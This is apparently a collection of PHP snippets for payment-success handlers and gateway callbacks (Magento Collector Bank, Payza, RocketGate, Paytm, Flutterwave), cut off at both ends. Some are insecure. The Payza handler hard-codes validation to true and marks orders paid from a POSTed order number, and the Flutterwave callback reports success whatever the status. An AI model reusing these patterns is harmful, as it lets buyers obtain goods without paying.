\"SE\";\t}\n\t\t\tif($orderDetails['businessCustomer']['invoiceAddress']['country'] == 'Sverige'){ $bcountry_id = \"SE\";\t}\n\t\t\t\n\t\t\t$billingAddress = array(\n\t\t\t\t'customer_address_id' => '',\n\t\t\t\t'prefix' => '',\n\t\t\t\t'firstname' => $firstName,\n\t\t\t\t'middlename' => '',\n\t\t\t\t'lastname' => $lastName,\n\t\t\t\t'suffix' => '',\n\t\t\t\t'company' => $orderDetails['businessCustomer']['invoiceAddress']['companyName'], \n\t\t\t\t'street' => array(\n\t\t\t\t\t '0' => $orderDetails['businessCustomer']['invoiceAddress']['address'], // compulsory\n\t\t\t\t\t '1' => $orderDetails['businessCustomer']['invoiceAddress']['address2'] // optional\n\t\t\t\t ),\n\t\t\t\t'city' => $orderDetails['businessCustomer']['invoiceAddress']['city'],\n\t\t\t\t'country_id' => $scountry_id, // two letters country code\n\t\t\t\t'region' => '', // can be empty '' if no region\n\t\t\t\t'region_id' => '', // can be empty '' if no region_id\n\t\t\t\t'postcode' => $orderDetails['businessCustomer']['invoiceAddress']['postalCode'],\n\t\t\t\t'telephone' => $mobile,\n\t\t\t\t'fax' => '',\n\t\t\t\t'save_in_address_book' => 1\n\t\t\t);\n\t\t\n\t\t\t$shippingAddress = array(\n\t\t\t\t'customer_address_id' => '',\n\t\t\t\t'prefix' => '',\n\t\t\t\t'firstname' => $firstName,\n\t\t\t\t'middlename' => '',\n\t\t\t\t'lastname' => $lastName,\n\t\t\t\t'suffix' => '',\n\t\t\t\t'company' => $orderDetails['businessCustomer']['deliveryAddress']['companyName'], \n\t\t\t\t'street' => array(\n\t\t\t\t\t '0' => $orderDetails['businessCustomer']['deliveryAddress']['address'], // compulsory\n\t\t\t\t\t '1' => $orderDetails['businessCustomer']['deliveryAddress']['address2'] // optional\n\t\t\t\t ),\n\t\t\t\t'city' => $orderDetails['businessCustomer']['deliveryAddress']['city'],\n\t\t\t\t'country_id' => $scountry_id, // two letters country code\n\t\t\t\t'region' => '', // can be empty '' if no region\n\t\t\t\t'region_id' => '', // can be empty '' if no region_id\n\t\t\t\t'postcode' => $orderDetails['businessCustomer']['deliveryAddress']['postalCode'],\n\t\t\t\t'telephone' => $mobile,\n\t\t\t\t'fax' => '',\n\t\t\t\t'save_in_address_book' => 1\n\t\t\t);\n\t\t\n\t\t\n\t\t\t// Add billing address to quote\n\t\t\t$billingAddressData = $quote->getBillingAddress()->addData($billingAddress);\n\t\t \n\t\t\t// Add shipping address to quote\n\t\t\t$shippingAddressData = $quote->getShippingAddress()->addData($shippingAddress);\n\t\t\t\n\t\t\t//check for selected shipping method\n\t\t\t$shippingMethod = $session->getSelectedShippingmethod();\n\t\t\tif(empty($shippingMethod)){\n\t\t\t\t$allShippingData = Mage::getModel('collectorbank/config')->getActiveShppingMethods();\n\t\t\t\t$orderItems = $orderDetails['order']['items'];\n\t\t\t\tforeach($orderItems as $oitem){\n\t\t\t\t\t//echo \"<pre>\";print_r($oitem);\n\t\t\t\t\tif(in_array($oitem['id'], $allShippingData)) {\n\t\t\t\t\t\t$shippingMethod = $oitem['id'];\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Collect shipping rates on quote shipping address data\n\t\t\t$shippingAddressData->setCollectShippingRates(true)->collectShippingRates();\n\n\t\t\t// Set shipping and payment method on quote shipping address data\n\t\t\t$shippingAddressData->setShippingMethod($shippingMethod);\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t$paymentMethod = 'collectorbank_invoice';\n\t\t\t// Set shipping and payment method on quote shipping address data\n\t\t\t$shippingAddressData->setPaymentMethod($paymentMethod);\t\t\t\n\t\t\t\n\t\t\t$colpayment_method = $orderDetails['purchase']['paymentMethod'];\n\t\t\t$colpayment_details = json_encode($orderDetails['purchase']);\n\t\t\t\n\t\t\t\n\t\t\t// Set payment method for the quote\n\t\t\t$quote->getPayment()->importData(array('method' => $paymentMethod,'coll_payment_method' => $colpayment_method,'coll_payment_details' => $colpayment_details));\n\t\t\t\n\t\t\t//die;\n\t\t\ttry{\n\t\t\t\t$orderReservedId = $session->getReference();\n\t\t\t\t$quote->setResponse($orderDetails);\n\t\t\t\t$quote->setCollCustomerType($orderDetails['customerType']);\n\t\t\t\t$quote->setCollBusinessCustomer($orderDetails['businessCustomer']);\n\t\t\t\t$quote->setCollStatus($orderDetails['status']);\n\t\t\t\t$quote->setCollPurchaseIdentifier($orderDetails['purchase']['purchaseIdentifier']);\n\t\t\t\t$quote->setCollTotalAmount($orderDetails['order']['totalAmount']);\n\t\t\t\tif($orderDetails['reference'] == $orderReservedId){\n\t\t\t\t\t$quote->setReservedOrderId($orderReservedId);\n\t\t\t\t} else {\n\t\t\t\t\t$quote->setReservedOrderId($orderDetails['reference']);\n\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t \t// Collect totals of the quote\n\t\t\t\t$quote->collectTotals();\n\t\t\t\t$quote->save();\n\t\t\t\t\n\t\t\t\t$service = Mage::getModel('sales/service_quote', $quote);\n\t\t\t\t$service->submitAll();\n\t\t\t\t$incrementId = $service->getOrder()->getRealOrderId();\n\t\t\t\t\n\t\t\t\tif($session->getIsSubscribed() == 1){\n\t\t\t\t\tMage::getModel('newsletter/subscriber')->subscribe($email);\n\t\t\t\t} \t\t\t\t\n\t\t\t\t\n\t\t\t\t$session->setLastQuoteId($quote->getId())\n\t\t\t\t\t->setLastSuccessQuoteId($quote->getId())\n\t\t\t\t\t->clearHelperData();\n\t\t\t\t\t\n\t\t\t\tMage::getSingleton('checkout/session')->clear();\n\t\t\t\tMage::getSingleton('checkout/cart')->truncate()->save();\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$session->unsBusinessPrivateId();\n\t\t\t\t$session->unsReference();\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t // Log order created message\n\t\t\t\tMage::log('Order created with increment id: '.$incrementId, null, $logFileName);\t\t\t\t\t\t\n\t\t\t\t$result['success'] = true;\n\t\t\t\t$result['error'] = false;\n\t\t\t\t\n\t\t\t\t$order = Mage::getModel('sales/order')->loadByIncrementId($incrementId);\n\t\t\t\t\n\t\t\t\t$this->loadLayout();\n\t\t\t\t$block = Mage::app()->getLayout()->getBlock('collectorbank_success');\n\t\t\t\tif ($block){//check if block actually exists\t\t\t\t\t\n\t\t\t\t\t\tif ($order->getId()) {\n\t\t\t\t\t\t\t$orderId = $order->getId();\n\t\t\t\t\t\t\t$isVisible = !in_array($order->getState(),Mage::getSingleton('sales/order_config')->getInvisibleOnFrontStates());\n\t\t\t\t\t\t\t$block->setOrderId($incrementId);\n\t\t\t\t\t\t\t$block->setIsOrderVisible($isVisible);\n\t\t\t\t\t\t\t$block->setViewOrderId($block->getUrl('sales/order/view/', array('order_id' => $orderId)));\n\t\t\t\t\t\t\t$block->setViewOrderUrl($block->getUrl('sales/order/view/', array('order_id' => $orderId)));\n\t\t\t\t\t\t\t$block->setPrintUrl($block->getUrl('sales/order/print', array('order_id'=> $orderId)));\n\t\t\t\t\t\t\t$block->setCanPrintOrder($isVisible);\n\t\t\t\t\t\t\t$block->setCanViewOrder(Mage::getSingleton('customer/session')->isLoggedIn() && $isVisible);\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$this->renderLayout();\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t} catch (Mage_Core_Exception $e) {\n\t\t\t\t\t$result['success'] = false;\n\t\t\t\t\t$result['error'] = true;\n\t\t\t\t\t$result['error_messages'] = $e->getMessage(); \n\t\t\t\t\tMage::log('Order creation is failed for invoice no '.$orderDetails['purchase']['purchaseIdentifier'] .\"Error is --> \".Mage::helper('core')->jsonEncode($result), null, $logFileName);\t\t\n\t\t\t\t\t$this->loadLayout();\n\t\t\t\t\t$block = Mage::app()->getLayout()->getBlock('collectorbank_success');\n\t\t\t\t\tif ($block){\n\t\t\t\t\t\tif($orderDetails['purchase']['purchaseIdentifier']){\n\t\t\t\t\t\t\t$block->setInvoiceNo($orderDetails['purchase']['purchaseIdentifier']);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$block->setCode(222);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$this->renderLayout();\t\t\t\t\t\n\t\t\t} \t\t\t\n\t\t} \n\t\t\n\t\t} else {\n\t\t\tMage::log('Order is already generated.', null, $logFileName);\t\t\n\t\t\t$this->loadLayout(); \n\t\t\t$block = Mage::app()->getLayout()->getBlock('collectorbank_success');\n\t\t\tif ($block){\n\t\t\t\t$block->setCode(111);\n\t\t\t}\n\t\t\t$this->renderLayout();\n\t\t}\n\n\t\tMage::log('----------------- END ------------------------------- ', null, $logFileName);\t\t\n\t}", "public function success()\n {\n // If we get to the success controller form any state except PENDING or PAID\n // This would mean someone would be clever and change the url from summary to success bypassing the payment\n // End the session, thus removing the reservation, and redirect back\n $reservation = $this->getReservation();\n if (!$reservation || !in_array($reservation->Status, [Reservation::STATUS_PENDING, Reservation::STATUS_PAID])) {\n ReservationSession::end();\n return $this->owner->redirect($this->owner->Link());\n }\n\n return $this->owner;\n }", "public function success()\r\n\t{\r\n\t\trequire_once DIR_ROOT.'/protected/vendors/pmRocketGate/LinkReader.php';\r\n\t\t\r\n\t\t// It is important to confirm that the link is coming from RocketGate.\r\n\t\t// This is done by checking the hash value in the incoming URL against\r\n\t\t// our internally computed hash value.\r\n\t\t//\r\n\t\t// First, split the incoming URL to obtain everything after the \"?\".\r\n\t\t//\r\n\t\tlist($uri_string, $values_string) = split('\\?', $_SERVER['REQUEST_URI']);\t\t\r\n\t\t\r\n\t\t//\r\n\t\t// Create a LinkReader.php class instance to check the hash\r\n\t\t// contained in the URL.\r\n\t\t//\r\n\t\t$link_reader = new LinkReader($this->rg_HashSecret);\t\t\r\n\t\t\r\n\r\n\t\t// Confirm that the incoming link is from RocketGate\r\n\t\tif($link_reader->ParseLink($values_string) != 0){\r\n\t\t //\r\n\t\t // Either this link was not made by RocketGate, or there is a\r\n\t\t // problem with the secret key\r\n\t\t //\r\n\t\t die(\"Link contains invalid hash value!!!<br/>\\n\");\r\n\t\t}\t\t\r\n\t\t\r\n\t\t\r\n\t\t//SUCCESS!!\r\n\t\t//die('SUCCESS!!');\r\n\t\t///id=18&invoiceID=18&mp=1&udf01=594835\r\n\t\t$this->id = intval($_REQUEST['id']);\r\n\t\tif (!$this->id)\r\n\t\t{\r\n\t\t\tdie('Error, wrong trn id');\r\n\t\t}\r\n\t\t\r\n $trn = self::getTransactionInfo($this->id);\r\n\t\tif (!$trn)\r\n\t\t{\r\n\t\t\tdie('Error, wrong trn');\r\n\t\t}\r\n \r\n\t\t//check duplicate calls\r\n\t\tif ($trn['status']=='completed')\r\n \treturn true;\r\n \r\n $this->user_id = $trn['user_id'];\r\n\r\n \t\t\r\n // update zom transaction id and SUBSCRIPTION_ID\r\n $sql = \"UPDATE LOW_PRIORITY `pm_rg_trn` SET `action`='approved', responce=:responce WHERE trn_id=:trn_id LIMIT 1\";\r\n\t Yii::app()->db->createCommand($sql)\r\n\t \t->bindValue(\":responce\", serialize($_REQUEST), PDO::PARAM_STR)\r\n\t\t\t->bindValue(\":trn_id\", $this->id, PDO::PARAM_INT)\r\n\t\t\t->execute(); \t\t\r\n \t\t\r\n\t\t\r\n //COMPLETE transaction\r\n $this->CompleteTransaction();\r\n \r\n $profile = new Profile($this->user_id);\r\n \r\n\t\t//UPGRADE USER TO GOLD\r\n\t\t$profile->Upgrade($this->id);\t\t\r\n\t\t\r\n\t\t\r\n\t\t$log = $_SERVER['REQUEST_URI'].\" - \".date(\"r\") . \" / \" .CHelperLocation::getIPReal().\"\\n\";\r\n\t\tCHelperLog::logFile('pm_rg_approved.log', $log);\r\n\t\t\r\n\t\treturn true;\r\n\t}", "public static function getSuccess()\n {\n if (self::has(\"success\")) {\n $success = self::get(\"success\");\n self::remove(\"success\");\n\n return $success;\n }\n\n return null;\n }", "public function getTransactionResult()\n {\n return $this->transactionResult;\n }", "public function isSuccess();", "public function isSuccess();", "public function isSuccess();", "public function isSuccess();", "public function successAction()\n {\n $event = Mage::getModel('payanyway/event')\n ->setEventData($this->getRequest()->getParams());\n try {\n $quoteId = $event->successEvent();\n $this->_getCheckout()->setLastSuccessQuoteId($quoteId);\n $this->_redirect('checkout/onepage/success');\n return;\n } catch (Mage_Core_Exception $e) {\n $this->_getCheckout()->addError($e->getMessage());\n } catch(Exception $e) {\n Mage::logException($e);\n }\n $this->_redirect('checkout/cart');\n }", "protected function success()\n {\n $this->response = $this->response->withStatus(200);\n $this->jsonBody($this->payload->getOutput());\n }", "public static function success()\n {\n return [\n 'code' => JsonResponse::HTTP_OK,\n 'status' => 'success',\n 'message' => 'Operation successfully executed.'\n ];\n }", "function successful()\n\t{\n\t\treturn $this->isSuccess();\n\t}", "public function testPurchaseSuccess()\n {\n // $this->setMockHttpResponse('WebservicePurchaseSuccess.txt');\n $data = file_get_contents(__DIR__ . '/Mock/WebservicePurchaseSuccess.txt');\n\n $purchase = $this->gateway->purchase($this->options);\n $response = $purchase->createResponse($data);\n\n // echo \"Response data =\\n\";\n // print_r($response->getData());\n // echo \"\\nEnd Response data\\n\";\n\n $this->assertTrue($response->isSuccessful());\n $this->assertFalse($response->isRedirect());\n $this->assertEquals('259611::1452486844', $response->getTransactionReference());\n $this->assertNull($response->getMessage());\n $this->assertEquals('APPROVED', $response->getCode());\n }", "public function successMessage() { return $this->successMessage; }", "public function isSuccess()\n {\n return $this->_success;\n }", "function success()\n\t{\n\t\treturn $this->_error_code;\n\t}", "public function transactionGetResultsSuccess ($message);", "public function responseAction()\n\t{\n\t\t$validated = true;\n\t\t$orderId = $_POST['orderNo'];// Generally sent by gateway\n\t\t\n\t\tif($validated) {\n\t\t\t// Payment was successful, so update the order's state, send order email and move to the success page\n\t\t\t$order = Mage::getModel('sales/order');\n\t\t\t$order->loadByIncrementId($orderId);\n\t\t\t$order->addStatusToHistory($order->getStatus(), Mage::helper('payza')->__('Customer successfully returned from Gateway'));\n\t\t\t$order->sendNewOrderEmail();\n\t\t\t$order->setEmailSent(true);\n\t\t\t$order->save();\n\t\t\tMage::getSingleton('checkout/session')->unsQuoteId();\n\t\t\t$this->_redirect('checkout/onepage/success', array('_secure'=>true));\n\t\t}\n\t\telse {\n\t\t\t// There is a problem in the response we got\n\t\t\t$this->_redirect('checkout/onepage/failure');\n\t\t}\n\t}", "public function allSuccess() {\n return $this->successMsg;\n }", "public function success()\n {\n // Success Status Codes\n return (boolean) (substr($this->agent->code(),0,1)==2);\n }", "public function wasSuccessful()\n {\n return $this->success;\n }", "public function get_success_message() {\r\n\t\treturn '';\r\n\t}", "private function transactionStatus(){\n $data = [\n 'Initiator' => ' ',\n 'SecurityCredential' => ' ',\n 'CommandID' => 'TransactionStatusQuery',\n 'TransactionID' => ' ',\n 'PartyA' => ' ',\n 'IdentifierType' => '1',\n 'QueueTimeOutURL' => $this->apiBaseUrl.'/mobilepay/tran_status/time_out',\n 'ResultURL' => $this->apiBaseUrl.'/mobilepay/tran_status/result',\n 'Remarks' => ' ',\n 'Occasion' => ' '\n ];\n return $this->remotePostCall('mpesa/transactionstatus/v1/query', $data);\n }", "public function onSuccess();", "public function onSuccess();", "public function getSuccess() {\n\t\tswitch ($this->status) {\n\t\t\tcase self::STATUS_SUCCESS :\n\t\t\tcase self::STATUS_PENDING :\n\t\t\tcase self::STATUS_AWAITING_AUTOMATIC_FUNDS :\n\t\t\t\treturn TRUE;\n\t\t\tdefault :\n\t\t\t\treturn FALSE;\n\t\t}\n\t}", "public function wasSent() {\n return $this->success;\n }", "public function success(){\n\n\t\tif ( !empty( $_GET['token'] ) ) {\n\n\t\t $token = $_GET['token'];\n\t\t $this->paypal->execute_agreement( $token );\n\t\t $this->index();\n\n\t\t}\n\n\t\treturn;\n\n\t}", "public function success()\n {\n $this->status = JSendResponse::STATUS_SUCCESS;\n\n return $this;\n }", "public abstract function onSuccess();", "public function callback()\n {\n $transaction = PaytmWallet::with('receive');\n\n $response = $transaction->response(); // To get raw response as array\n $invoiceId = $this->getInvoiceId($response['ORDERID']);\n \\Storage::put('/txn/_' . $response['ORDERID'] . '.json', json_encode($response));\n\n if ($transaction->isSuccessful()) {\n $payment = (new \\Modules\\Payments\\Helpers\\PaymentEngine('paytm', $response))->transact();\n toastr()->success('Payment received successfully', langapp('response_status'));\n return redirect()->route('invoices.index');\n }\n // Schedule Job to check transaction\n RecheckPaytmStatus::dispatch($response['ORDERID'])->delay(now()->addMinutes(3));\n toastr()->warning('We will verify your transaction shortly', langapp('response_status'));\n return redirect()->route('invoices.index');\n }", "public function setSuccessResponse()\r\n {\r\n $this->setResponse(self::STATUS_CODE_OK);\r\n }", "public function isSuccess()\n {\n return $this->status;\n }", "public function testSuccessAction()\n {\n $order = Mage::getModel('sales/order')->loadByIncrementId($this->getRequest()->getParam('order'));\n\n if (!$order->getId()) {\n $this->_redirect('checkout/cart');\n return;\n }\n\n $session = $this->getOnepage()\n ->getCheckout()\n ->setLastOrderId($order->getId())\n ->setLastQuoteId($order->getQuoteId())\n ->setLastSuccessQuoteId($order->getQuoteId());\n\n $this->_forward('success');\n }", "public function callback()\n {\n \n $status = request()->status;\n\n //if payment is successful\n if ($status == 'successful') {\n \n $transactionID = Flutterwave::getTransactionIDFromCallback();\n $data = Flutterwave::verifyTransaction($transactionID); \n \n \n //{{$data =(object)$data;}};\n //return view('tickets.pay', compact('data'));\n //dd($data);\n\n }\n elseif ($status == 'cancelled'){\n //Put desired action/code after transaction has been cancelled here\n }\n else{\n\n //Put desired action/code after transaction has failed here\n }\n\n return redirect()->route('dashboard.index')->with('success', 'payment done succefuly');\n // Get the transaction from your DB using the transaction reference (txref)\n // Check if you have previously given value for the transaction. If you have, redirect to your successpage else, continue\n // Confirm that the currency on your db transaction is equal to the returned currency\n // Confirm that the db transaction amount is equal to the returned amount\n // Update the db transaction record (including parameters that didn't exist before the transaction is completed. for audit purpose)\n // Give value for the transaction\n // Update the transaction to note that you have given value for the transaction\n // You can also redirect to your success page from here\n\n }", "public function successAction() {\n\t\t\n\t\t//echo \"in b2b\";die;\n\t\t$session = Mage::getSingleton('checkout/session');\n\t\t\n\t\t$logFileName = 'magentoorder.log';\n\t\t\n\t\tMage::log('----------------- START ------------------------------- ', null, $logFileName);\t\n\t\t\n\t\t$quote = $session->getQuote();\n\t\t$quoteId = $quote->getEntityId();\n\t\t$privateId = $session->getPrivateId();\n\t\t\n\t\t\n\t\t\n\t\tif($privateId){\n\t\t\t$orderData = Mage::getModel('collectorbank/api')->getOrderResponse();\t\n\t\t\t\n\t\t\tif(isset($orderData['error'])){\n\t\t\t\t$session->addError($orderData['error']['message']);\n\t\t\t\t$this->_redirect('checkout/cart');\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t$orderDetails = $orderData['data'];\t\t\n\t\t\n\t\t\n\t\tif($orderDetails){\t\t\n\t\t\t$email = $orderDetails['customer']['email'];\n\t\t\t$mobile = $orderDetails['customer']['mobilePhoneNumber'];\n\t\t\t$firstName = $orderDetails['customer']['deliveryAddress']['firstName'];\n\t\t\t$lastName = $orderDetails['customer']['deliveryAddress']['lastName'];\n\t\t\t\n\t\t\t\n\t\t\t$store = Mage::app()->getStore();\n\t\t\t$website = Mage::app()->getWebsite();\n\t\t\t$customer = Mage::getModel('customer/customer')->setWebsiteId($website->getId())->loadByEmail($email);\n\t\t\t\t// if the customer is not already registered\n\t\t\t\tif (!$customer->getId()) {\n\t\t\t\t\t$customer = Mage::getModel('customer/customer');\t\t\t\n\t\t\t\t\t$customer->setWebsiteId($website->getId())\n\t\t\t\t\t\t\t ->setStore($store)\n\t\t\t\t\t\t\t ->setFirstname($firstName)\n\t\t\t\t\t\t\t ->setLastname($lastName)\n\t\t\t\t\t\t\t ->setEmail($email); \n\t\t\t\t\ttry {\n\t\t\t\t\t \n\t\t\t\t\t\t$password = $customer->generatePassword(); \n\t\t\t\t\t\t$customer->setPassword($password); \n\t\t\t\t\t\t// set the customer as confirmed\n\t\t\t\t\t\t$customer->setForceConfirmed(true); \n\t\t\t\t\t\t// save customer\n\t\t\t\t\t\t$customer->save(); \n\t\t\t\t\t\t$customer->setConfirmation(null);\n\t\t\t\t\t\t$customer->save();\n\t\t\t\t\t\t\n\t\t\t\t\t\t// set customer address\n\t\t\t\t\t\t$customerId = $customer->getId(); \n\t\t\t\t\t\t$customAddress = Mage::getModel('customer/address'); \n\t\t\t\t\t\t$customAddress->setData($billingAddress)\n\t\t\t\t\t\t\t\t\t ->setCustomerId($customerId)\n\t\t\t\t\t\t\t\t\t ->setIsDefaultBilling('1')\n\t\t\t\t\t\t\t\t\t ->setIsDefaultShipping('1')\n\t\t\t\t\t\t\t\t\t ->setSaveInAddressBook('1');\n\t\t\t\t\t\t\n\t\t\t\t\t\t// save customer address\n\t\t\t\t\t\t$customAddress->save();\n\t\t\t\t\t\t// send new account email to customer \n\t\t\t\t\t\t\n\t\t\t\t\t\t$storeId = $customer->getSendemailStoreId();\n\t\t\t\t\t\t$customer->sendNewAccountEmail('registered', '', $storeId);\n\t\t\t\t\t\t\n\t\t\t\t\t\tMage::log('Customer with email '.$email.' is successfully created.', null, $logFileName);\n\t\t\t\t\t\t\n\t\t\t\t\t} catch (Mage_Core_Exception $e) {\t\t\t\t\t\t\n\t\t\t\t\t\tMage::log('Cannot add customer for '.$e->getMessage(), null, $logFileName);\n\t\t\t\t\t} catch (Exception $e) {\n\t\t\t\t\t\tMage::log('Cannot add customer for '.$email, null, $logFileName);\n\t\t\t\t\t} \n\t\t\t\t}\n\t\t\t\t\n\t\t\t// Assign Customer To Sales Order Quote\n\t\t\t$quote->assignCustomer($customer);\n\t\t\t\n\t\t\tif($orderDetails['customer']['deliveryAddress']['country'] == 'Sverige'){\t$scountry_id = \"SE\";\t}\n\t\t\tif($orderDetails['customer']['billingAddress']['country'] == 'Sverige'){ $bcountry_id = \"SE\";\t}\n\t\t\t\n\t\t\t$billingAddress = array(\n\t\t\t\t'customer_address_id' => '',\n\t\t\t\t'prefix' => '',\n\t\t\t\t'firstname' => $firstName,\n\t\t\t\t'middlename' => '',\n\t\t\t\t'lastname' => $lastName,\n\t\t\t\t'suffix' => '',\n\t\t\t\t'company' => $orderDetails['customer']['billingAddress']['coAddress'], \n\t\t\t\t'street' => array(\n\t\t\t\t\t '0' => $orderDetails['customer']['billingAddress']['address'], // compulsory\n\t\t\t\t\t '1' => $orderDetails['customer']['billingAddress']['address2'] // optional\n\t\t\t\t ),\n\t\t\t\t'city' => $orderDetails['customer']['billingAddress']['city'],\n\t\t\t\t'country_id' => $scountry_id, // two letters country code\n\t\t\t\t'region' => '', // can be empty '' if no region\n\t\t\t\t'region_id' => '', // can be empty '' if no region_id\n\t\t\t\t'postcode' => $orderDetails['customer']['billingAddress']['postalCode'],\n\t\t\t\t'telephone' => $mobile,\n\t\t\t\t'fax' => '',\n\t\t\t\t'save_in_address_book' => 1\n\t\t\t);\n\t\t\n\t\t\t$shippingAddress = array(\n\t\t\t\t'customer_address_id' => '',\n\t\t\t\t'prefix' => '',\n\t\t\t\t'firstname' => $firstName,\n\t\t\t\t'middlename' => '',\n\t\t\t\t'lastname' => $lastName,\n\t\t\t\t'suffix' => '',\n\t\t\t\t'company' => $orderDetails['customer']['deliveryAddress']['coAddress'], \n\t\t\t\t'street' => array(\n\t\t\t\t\t '0' => $orderDetails['customer']['deliveryAddress']['address'], // compulsory\n\t\t\t\t\t '1' => $orderDetails['customer']['deliveryAddress']['address2'] // optional\n\t\t\t\t ),\n\t\t\t\t'city' => $orderDetails['customer']['deliveryAddress']['city'],\n\t\t\t\t'country_id' => $scountry_id, // two letters country code\n\t\t\t\t'region' => '', // can be empty '' if no region\n\t\t\t\t'region_id' => '', // can be empty '' if no region_id\n\t\t\t\t'postcode' => $orderDetails['customer']['deliveryAddress']['postalCode'],\n\t\t\t\t'telephone' => $mobile,\n\t\t\t\t'fax' => '',\n\t\t\t\t'save_in_address_book' => 1\n\t\t\t);\n\t\t\n\t\t\n\t\t\t// Add billing address to quote\n\t\t\t$billingAddressData = $quote->getBillingAddress()->addData($billingAddress);\n\t\t \n\t\t\t// Add shipping address to quote\n\t\t\t$shippingAddressData = $quote->getShippingAddress()->addData($shippingAddress);\n\t\t\t\n\t\t\t//check for selected shipping method\n\t\t\t$shippingMethod = $session->getSelectedShippingmethod();\n\t\t\tif(empty($shippingMethod)){\n\t\t\t\t$allShippingData = Mage::getModel('collectorbank/config')->getActiveShppingMethods();\n\t\t\t\t$orderItems = $orderDetails['order']['items'];\n\t\t\t\tforeach($orderItems as $oitem){\n\t\t\t\t\t//echo \"<pre>\";print_r($oitem);\n\t\t\t\t\tif(in_array($oitem['id'], $allShippingData)) {\n\t\t\t\t\t\t$shippingMethod = $oitem['id'];\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Collect shipping rates on quote shipping address data\n\t\t\t$shippingAddressData->setCollectShippingRates(true)->collectShippingRates();\n\n\t\t\t// Set shipping and payment method on quote shipping address data\n\t\t\t$shippingAddressData->setShippingMethod($shippingMethod);\t\t\t\n\t\t\t\n\t\t\t//$paymentMethod = 'collectorpay';\n\t\t\t$paymentMethod = 'collectorbank_invoice';\n\t\t\t// Set shipping and payment method on quote shipping address data\n\t\t\t$shippingAddressData->setPaymentMethod($paymentMethod);\t\t\t\n\t\t\t\n\t\t\t$colpayment_method = $orderDetails['purchase']['paymentMethod'];\n\t\t\t$colpayment_details = json_encode($orderDetails['purchase']);\n\t\t\t\n\t\t\t// Set payment method for the quote\n\t\t\t$quote->getPayment()->importData(array('method' => $paymentMethod,'coll_payment_method' => $colpayment_method,'coll_payment_details' => $colpayment_details));\n\t\t\t\n\n\t\t\ttry{\n\t\t\t\t$orderReservedId = $session->getReference();\n\t\t\t\t$quote->setResponse($orderDetails);\n\t\t\t\t$quote->setCollCustomerType($orderDetails['customerType']);\n\t\t\t\t$quote->setCollBusinessCustomer($orderDetails['businessCustomer']);\n\t\t\t\t$quote->setCollStatus($orderDetails['status']);\n\t\t\t\t$quote->setCollPurchaseIdentifier($orderDetails['purchase']['purchaseIdentifier']);\n\t\t\t\t$quote->setCollTotalAmount($orderDetails['order']['totalAmount']);\n\t\t\t\tif($orderDetails['reference'] == $orderReservedId){\n\t\t\t\t\t$quote->setReservedOrderId($orderReservedId);\n\t\t\t\t} else {\n\t\t\t\t\t$quote->setReservedOrderId($orderDetails['reference']);\n\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t \t// Collect totals of the quote\n\t\t\t\t$quote->collectTotals();\n\t\t\t\t$quote->save();\n\t\t\t\t\n\t\t\t\t$service = Mage::getModel('sales/service_quote', $quote);\n\t\t\t\t$service->submitAll();\n\t\t\t\t$incrementId = $service->getOrder()->getRealOrderId();\n\t\t\t\t\n\t\t\t\tif($session->getIsSubscribed() == 1){\n\t\t\t\t\tMage::getModel('newsletter/subscriber')->subscribe($email);\n\t\t\t\t} \t\t\t\t\n\t\t\t\t\n\t\t\t\t$session->setLastQuoteId($quote->getId())\n\t\t\t\t\t->setLastSuccessQuoteId($quote->getId())\n\t\t\t\t\t->clearHelperData();\n\t\t\t\t\t\n\t\t\t\tMage::getSingleton('checkout/session')->clear();\n\t\t\t\tMage::getSingleton('checkout/cart')->truncate()->save();\n\t\t\t\t\n\t\t\t\t$session->unsPrivateId();\n\t\t\t\t$session->unsReference();\n\t\t\t\t\n\t\t\t\t // Log order created message\n\t\t\t\tMage::log('Order created with increment id: '.$incrementId, null, $logFileName);\t\t\t\t\t\t\n\t\t\t\t$result['success'] = true;\n\t\t\t\t$result['error'] = false;\n\t\t\t\t\n\t\t\t\t$order = Mage::getModel('sales/order')->loadByIncrementId($incrementId);\n\t\t\t\t\n\t\t\t\t$this->loadLayout();\n\t\t\t\t$block = Mage::app()->getLayout()->getBlock('collectorbank_success');\n\t\t\t\tif ($block){//check if block actually exists\t\t\t\t\t\n\t\t\t\t\t\tif ($order->getId()) {\n\t\t\t\t\t\t\t$orderId = $order->getId();\n\t\t\t\t\t\t\t$isVisible = !in_array($order->getState(),Mage::getSingleton('sales/order_config')->getInvisibleOnFrontStates());\n\t\t\t\t\t\t\t$block->setOrderId($incrementId);\n\t\t\t\t\t\t\t$block->setIsOrderVisible($isVisible);\n\t\t\t\t\t\t\t$block->setViewOrderId($block->getUrl('sales/order/view/', array('order_id' => $orderId)));\n\t\t\t\t\t\t\t$block->setViewOrderUrl($block->getUrl('sales/order/view/', array('order_id' => $orderId)));\n\t\t\t\t\t\t\t$block->setPrintUrl($block->getUrl('sales/order/print', array('order_id'=> $orderId)));\n\t\t\t\t\t\t\t$block->setCanPrintOrder($isVisible);\n\t\t\t\t\t\t\t$block->setCanViewOrder(Mage::getSingleton('customer/session')->isLoggedIn() && $isVisible);\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$this->renderLayout();\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t} catch (Mage_Core_Exception $e) {\n\t\t\t\t\t$result['success'] = false;\n\t\t\t\t\t$result['error'] = true;\n\t\t\t\t\t$result['error_messages'] = $e->getMessage(); \n\t\t\t\t\tMage::log('Order creation is failed for invoice no '.$orderDetails['purchase']['purchaseIdentifier'] .\"Error is --> \".Mage::helper('core')->jsonEncode($result), null, $logFileName);\t\t\n\t\t\t\t\t//Mage::app()->getResponse()->setBody(Mage::helper('core')->jsonEncode($result));\n\t\t\t\t\t$this->loadLayout();\n\t\t\t\t\t$block = 